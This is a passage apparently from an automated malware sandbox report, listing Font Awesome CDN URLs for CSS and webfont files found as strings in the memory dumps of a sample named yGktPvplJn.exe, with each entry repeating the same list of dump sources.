Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/css/v4-shims.css
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-brands-400.eot
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-brands-400.eot?#iefix
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-brands-400.svg#fontawesome
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-brands-400.ttf
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-brands-400.woff
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-brands-400.woff2
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-regular-400.eot
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-regular-400.eot?#iefix
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-regular-400.svg#fontawesome
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-regular-400.ttf
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-regular-400.woff
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, 